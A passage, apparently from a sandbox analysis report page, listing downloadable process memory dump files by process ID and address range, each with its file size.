5.2MB

Download
memory/8140-772-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/8140-1006-0x0000000006440000-0x00000000064A6000-memory.dmp

Filesize
408KB

Download
memory/8140-1037-0x0000000006790000-0x00000000067AE000-memory.dmp

Filesize
120KB

Download
memory/8140-1129-0x0000000007390000-0x00000000073E0000-memory.dmp

Filesize
320KB

Download
memory/8140-790-0x0000000004C10000-0x0000000004C20000-memory.dmp

Filesize
64KB

Download
memory/8140-1218-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/8140-785-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/8144-1221-0x00000000028E0000-0x0000000002CDC000-memory.dmp

Filesize
4.0MB

Download
memory/8144-1222-0x0000000002DE0000-0x00000000036CB000-memory.dmp

Filesize
8.9MB

Download
memory/8144-1338-0x0000000000400000-0x0000000000D1B000-memory.dmp

Filesize
9.1MB

Download
memory/8144-950-0x00000000028E0000-0x0000000002CDC000-memory.dmp

Filesize
4.0MB

Download
memory/8144-973-0x0000000000400000-0x0000000000D1B000-memory.dmp

Filesize
9.1MB

Download
memory/8144-964-0x0000000002DE0000-0x00000000036CB000-memory.dmp

Filesize
8.9MB

Download
memory/8320-1220-0x00000000740B0000-0x0000000074860000-memory.dmp

Filesize
7.7MB

Download
memory/8320-1219-0x00000000026F0000-0x0000000002726000-memory.dmp

Filesize
216KB

Download
memory/8320-1224-0x00000000049B0000-0x00000000049C0000-memory.dmp

Filesize
64KB

Download
memory/8320-1223-0x0000000004FF0000-0x0000000005618000-memory.dmp

Filesize
6.2MB

Download
memory/8760-1633-0x00007FF671CE0000-0x00007FF6723BC000-memory.dmp

Filesize
6.9MB

Download